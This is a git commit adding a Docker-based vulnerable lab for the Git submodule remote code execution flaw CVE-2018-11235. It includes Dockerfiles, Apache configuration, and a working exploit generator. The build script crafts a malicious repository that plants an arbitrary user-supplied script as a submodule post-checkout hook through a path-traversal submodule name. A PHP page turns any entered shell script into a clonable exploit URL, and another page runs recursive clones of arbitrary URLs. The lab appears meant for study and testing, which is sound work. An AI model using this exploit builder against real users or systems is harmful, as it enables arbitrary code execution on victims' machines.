(Add Vul: Git) Git远程代码执行漏洞 CVE-2018-11235

This commit is contained in:
Medicean 2018-06-01 16:24:53 +08:00
parent adf350273f
commit c4b3dcc7f4
14 changed files with 622 additions and 0 deletions

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@ -77,6 +77,10 @@ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-037
* [FFmpeg](./i/ffmpeg/)
### [G](./g/)<div id="g"></div>
* [Git](./g/git/)
### [I](./i/)<div id="i"></div>
* [ImageMagick](./i/imagemagick/)

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FROM medicean/vulapps:base_lamp
RUN set -x \
&& apt-get update \
&& apt-get install -y git=1:1.9.1-1 \
&& rm -rf /var/www/html/* \
&& mkdir -p /var/www/html/repos
COPY src/apache2.conf /etc/apache2/apache2.conf
COPY src/index.php /var/www/html/index.php
COPY src/start.sh /start.sh
RUN chmod +x /start.sh \
&& chown -R www-data:www-data /var/www/html
EXPOSE 80
CMD ["/start.sh"]

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## Git远程代码执行漏洞(CVE-2018-11235)

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FROM medicean/vulapps:base_lamp
COPY src/base.tar.gz /tmp/base.tar.gz
RUN set -x \
&& a2enmod cgi alias env rewrite \
&& apt-get update \
&& apt-get install -y git=1:1.9.1-1 git-core \
&& rm -rf /var/www/html/* \
&& mkdir -p /var/www/html/repos \
&& tar -zxvf /tmp/base.tar.gz -C /var/www/html/repos/ \
&& apt-get remove -y mysql-server mysql-client \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/*
COPY src/apache2.conf /etc/apache2/apache2.conf
COPY src/000-default.conf /etc/apache2/sites-available/000-default.conf
COPY src/index.php /var/www/html/index.php
COPY src/build.sh /var/www/html/build.sh
COPY src/start.sh /start.sh
RUN chmod +x /start.sh \
&& chown -R www-data:www-data /var/www/html
EXPOSE 80
CMD ["/start.sh"]

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<VirtualHost *:80>
SetEnv GIT_PROJECT_ROOT /var/www/html/repos
SetEnv GIT_HTTP_EXPORT_ALL
ScriptAlias /git/ /usr/lib/git-core/git-http-backend/
DocumentRoot /var/www/html
<Directory "/usr/lib/git-core">
Options +ExecCgi -MultiViews +SymLinksIfOwnerMatch
AllowOverride none
Order allow,deny
Allow from all
Require all granted
</Directory>
</VirtualHost>

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# This is the main Apache server configuration file. It contains the
# configuration directives that give the server its instructions.
# See http://httpd.apache.org/docs/2.4/ for detailed information about
# the directives and /usr/share/doc/apache2/README.Debian about Debian specific
# hints.
#
#
# Summary of how the Apache 2 configuration works in Debian:
# The Apache 2 web server configuration in Debian is quite different to
# upstream's suggested way to configure the web server. This is because Debian's
# default Apache2 installation attempts to make adding and removing modules,
# virtual hosts, and extra configuration directives as flexible as possible, in
# order to make automating the changes and administering the server as easy as
# possible.
# It is split into several files forming the configuration hierarchy outlined
# below, all located in the /etc/apache2/ directory:
#
# /etc/apache2/
# |-- apache2.conf
# | `-- ports.conf
# |-- mods-enabled
# | |-- *.load
# | `-- *.conf
# |-- conf-enabled
# | `-- *.conf
# `-- sites-enabled
# `-- *.conf
#
#
# * apache2.conf is the main configuration file (this file). It puts the pieces
# together by including all remaining configuration files when starting up the
# web server.
#
# * ports.conf is always included from the main configuration file. It is
# supposed to determine listening ports for incoming connections which can be
# customized anytime.
#
# * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/
# directories contain particular configuration snippets which manage modules,
# global configuration fragments, or virtual host configurations,
# respectively.
#
# They are activated by symlinking available configuration files from their
# respective *-available/ counterparts. These should be managed by using our
# helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See
# their respective man pages for detailed information.
#
# * The binary is called apache2. Due to the use of environment variables, in
# the default configuration, apache2 needs to be started/stopped with
# /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not
# work with the default configuration.
# Global configuration
#
#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# NOTE! If you intend to place this on an NFS (or otherwise network)
# mounted filesystem then please read the Mutex documentation (available
# at <URL:http://httpd.apache.org/docs/2.4/mod/core.html#mutex>);
# you will save yourself a lot of trouble.
#
# Do NOT add a slash at the end of the directory path.
#
#ServerRoot "/etc/apache2"
#
# The accept serialization lock file MUST BE STORED ON A LOCAL DISK.
#
Mutex file:${APACHE_LOCK_DIR} default
#
# PidFile: The file in which the server should record its process
# identification number when it starts.
# This needs to be set in /etc/apache2/envvars
#
PidFile ${APACHE_PID_FILE}
#
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 300
#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On
#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 100
#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 5
# These need to be set in /etc/apache2/envvars
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}
#
# HostnameLookups: Log the names of clients or just their IP addresses
# e.g., www.apache.org (on) or 204.62.129.132 (off).
# The default is off because it'd be overall better for the net if people
# had to knowingly turn this feature on, since enabling it means that
# each client request will result in AT LEAST one lookup request to the
# nameserver.
#
HostnameLookups Off
# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here. If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
#
ErrorLog ${APACHE_LOG_DIR}/error.log
#
# LogLevel: Control the severity of messages logged to the error_log.
# Available values: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the log level for particular modules, e.g.
# "LogLevel info ssl:warn"
#
LogLevel warn
# Include module configuration:
IncludeOptional mods-enabled/*.load
IncludeOptional mods-enabled/*.conf
# Include list of ports to listen on
Include ports.conf
# Sets the default security model of the Apache2 HTTPD server. It does
# not allow access to the root filesystem outside of /usr/share and /var/www.
# The former is used by web applications packaged in Debian,
# the latter may be used for local directories served by the web server. If
# your system is serving content from a sub-directory in /srv you must allow
# access here, or in any related virtual host.
<Directory />
Options FollowSymLinks
AllowOverride None
Require all denied
</Directory>
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
#<Directory /srv/>
# Options Indexes FollowSymLinks
# AllowOverride None
# Require all granted
#</Directory>
<Directory "/var/www/html/repos">
Options Indexes FollowSymLinks
<FilesMatch "\.(?i:php|php3|php4|php5)$">
SetHandler application/x-httpd-php-source
Order Deny,Allow
Allow from all
</FilesMatch>
</Directory>
# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives. See also the AllowOverride
# directive.
#
AccessFileName .htaccess
#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<FilesMatch "^\.ht">
Require all denied
</FilesMatch>
#
# The following directives define some format nicknames for use with
# a CustomLog directive.
#
# These deviate from the Common Log Format definitions in that they use %O
# (the actual bytes sent including headers) instead of %b (the size of the
# requested file), because the latter makes it impossible to detect partial
# requests.
#
# Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.
# Use mod_remoteip instead.
#
LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %O" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent
# Include of directories ignores editors' and dpkg's backup files,
# see README.Debian for details.
# Include generic snippets of statements
IncludeOptional conf-enabled/*.conf
# Include the virtual host configurations:
IncludeOptional sites-enabled/*.conf
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

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#!/bin/sh
set -e
reponame=$1
base_host=$2
base_dir="/var/www/html/repos"
repo_dir="$base_dir/${reponame}"
repo_submodule="http://${base_host}/git/base.git"
cd $base_dir
git init "$repo_dir"
cd "$repo_dir"
git config user.email "your@example.com"
git config user.name "YourName"
git submodule add "$repo_submodule" evil
mkdir modules
cp -r .git/modules/evil modules
chmod +x /tmp/evil.sh
cp /tmp/evil.sh modules/evil/hooks/post-checkout
git config -f .gitmodules submodule.evil.update checkout
git config -f .gitmodules --rename-section submodule.evil submodule.../../modules/evil
git add modules
git submodule add "$repo_submodule"
git add base
git commit -am CVE-2018-11235
exit 0

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<html>
<head>
<meta charset="utf-8">
<title>VulApps CVE-2018-11235 Exp Generator</title>
</head>
<body>
<p>VulApps CVE-2018-11235 Exp Generator</p>
<form method="post">
<label for="command">shell script:</label><br>
<textarea id="command" name="command" placeholder="#!/bin/sh
id > /tmp/vuln" style="width: 400px;height: 100px; margin-bottom: 10px;margin-top: 10px;">#!/bin/sh
id > /tmp/vuln</textarea><br/>
<input type="submit" value="生成Exp" />
</form>
<a href="./repos/">查看已有仓库</a><br/>
<?php
if (strpos($_SERVER['HTTP_HOST'], "127.0.0.1") !== false) {
die("<br>请不要使用 127.0.0.1 这个地址来访问此页面");
}
if (isset($_REQUEST['command']) && !empty($_REQUEST['command'])) {
$command = str_replace("\r\n", "\n", $_REQUEST['command']);
file_put_contents("/tmp/evil.sh", $command);
// @chdir("/var/www/html/repos/");
$str="QWERTYUIOPASDFGHJKLZXCVBNM1234567890qwertyuiopasdfghjklzxcvbnm";
str_shuffle($str);
$repo_name=substr(str_shuffle($str),26,10);
shell_exec("/bin/sh /var/www/html/build.sh ".$repo_name." ".$_SERVER['HTTP_HOST']);
$expurl=$_SERVER['REQUEST_SCHEME']."://".$_SERVER['HTTP_HOST']."/git/".$repo_name;
echo "生成Exp成功:<br/>";
echo "Exp URL: ".$expurl."<br/>";
echo "如果你想在自己机器上测试,执行: <br/>";
echo "git clone --recurse ".$expurl;
}
?>
</body>
</html>

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#!/bin/bash
/etc/init.d/apache2 restart
/usr/bin/tail -f /dev/null

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# This is the main Apache server configuration file. It contains the
# configuration directives that give the server its instructions.
# See http://httpd.apache.org/docs/2.4/ for detailed information about
# the directives and /usr/share/doc/apache2/README.Debian about Debian specific
# hints.
#
#
# Summary of how the Apache 2 configuration works in Debian:
# The Apache 2 web server configuration in Debian is quite different to
# upstream's suggested way to configure the web server. This is because Debian's
# default Apache2 installation attempts to make adding and removing modules,
# virtual hosts, and extra configuration directives as flexible as possible, in
# order to make automating the changes and administering the server as easy as
# possible.
# It is split into several files forming the configuration hierarchy outlined
# below, all located in the /etc/apache2/ directory:
#
# /etc/apache2/
# |-- apache2.conf
# | `-- ports.conf
# |-- mods-enabled
# | |-- *.load
# | `-- *.conf
# |-- conf-enabled
# | `-- *.conf
# `-- sites-enabled
# `-- *.conf
#
#
# * apache2.conf is the main configuration file (this file). It puts the pieces
# together by including all remaining configuration files when starting up the
# web server.
#
# * ports.conf is always included from the main configuration file. It is
# supposed to determine listening ports for incoming connections which can be
# customized anytime.
#
# * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/
# directories contain particular configuration snippets which manage modules,
# global configuration fragments, or virtual host configurations,
# respectively.
#
# They are activated by symlinking available configuration files from their
# respective *-available/ counterparts. These should be managed by using our
# helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See
# their respective man pages for detailed information.
#
# * The binary is called apache2. Due to the use of environment variables, in
# the default configuration, apache2 needs to be started/stopped with
# /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not
# work with the default configuration.
# Global configuration
#
#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# NOTE! If you intend to place this on an NFS (or otherwise network)
# mounted filesystem then please read the Mutex documentation (available
# at <URL:http://httpd.apache.org/docs/2.4/mod/core.html#mutex>);
# you will save yourself a lot of trouble.
#
# Do NOT add a slash at the end of the directory path.
#
#ServerRoot "/etc/apache2"
#
# The accept serialization lock file MUST BE STORED ON A LOCAL DISK.
#
Mutex file:${APACHE_LOCK_DIR} default
#
# PidFile: The file in which the server should record its process
# identification number when it starts.
# This needs to be set in /etc/apache2/envvars
#
PidFile ${APACHE_PID_FILE}
#
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 300
#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On
#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 100
#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 5
# These need to be set in /etc/apache2/envvars
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}
#
# HostnameLookups: Log the names of clients or just their IP addresses
# e.g., www.apache.org (on) or 204.62.129.132 (off).
# The default is off because it'd be overall better for the net if people
# had to knowingly turn this feature on, since enabling it means that
# each client request will result in AT LEAST one lookup request to the
# nameserver.
#
HostnameLookups Off
# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here. If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
#
ErrorLog ${APACHE_LOG_DIR}/error.log
#
# LogLevel: Control the severity of messages logged to the error_log.
# Available values: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the log level for particular modules, e.g.
# "LogLevel info ssl:warn"
#
LogLevel warn
# Include module configuration:
IncludeOptional mods-enabled/*.load
IncludeOptional mods-enabled/*.conf
# Include list of ports to listen on
Include ports.conf
# Sets the default security model of the Apache2 HTTPD server. It does
# not allow access to the root filesystem outside of /usr/share and /var/www.
# The former is used by web applications packaged in Debian,
# the latter may be used for local directories served by the web server. If
# your system is serving content from a sub-directory in /srv you must allow
# access here, or in any related virtual host.
<Directory />
Options FollowSymLinks
AllowOverride None
Require all denied
</Directory>
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
#<Directory /srv/>
# Options Indexes FollowSymLinks
# AllowOverride None
# Require all granted
#</Directory>
<Directory "/var/www/html/repos">
Options Indexes FollowSymLinks
<FilesMatch "\.(?i:php|php3|php4|php5)$">
SetHandler application/x-httpd-php-source
Order Deny,Allow
Allow from all
</FilesMatch>
</Directory>
# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives. See also the AllowOverride
# directive.
#
AccessFileName .htaccess
#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<FilesMatch "^\.ht">
Require all denied
</FilesMatch>
#
# The following directives define some format nicknames for use with
# a CustomLog directive.
#
# These deviate from the Common Log Format definitions in that they use %O
# (the actual bytes sent including headers) instead of %b (the size of the
# requested file), because the latter makes it impossible to detect partial
# requests.
#
# Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.
# Use mod_remoteip instead.
#
LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %O" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent
# Include of directories ignores editors' and dpkg's backup files,
# see README.Debian for details.
# Include generic snippets of statements
IncludeOptional conf-enabled/*.conf
# Include the virtual host configurations:
IncludeOptional sites-enabled/*.conf
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

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<html>
<head>
<meta charset="utf-8">
<title>Repository Clone</title>
</head>
<body>
<p>CVE-2018-11235 Vuln Demo</p>
<form method="post">
<label for="repourl">Repositorys clone URL</label><br>
<input id="repourl" type="input" name="repourl" placeholder="https://github.com/VulApps/CVE-2018-11235.git" style="width: 400px;height: 30px;margin-bottom: 10px;margin-top: 10px;"><br/>
<input type="submit" value="Submit" />
</form>
<p>注意:GitHub 和微软(通过 Visual Studio Team Services的 Git 托管服务已经部署了这些补丁clone 的 URL 可以使用自己的服务器。</p>
<?php
if (isset($_REQUEST['repourl']) && !empty($_REQUEST['repourl'])) {
$repourl = escapeshellarg($_REQUEST['repourl']);
@chdir("/var/www/html/repos/");
shell_exec("git clone --recursive $repourl");
echo 'See your project at: <a href="/repos">Repos</a>';
}
?>
</body>
</html>

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#!/bin/bash
/etc/init.d/apache2 restart
/usr/bin/tail -f /dev/null

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Git
---
1. [Git远程代码执行漏洞(CVE-2018-11235)](./1/)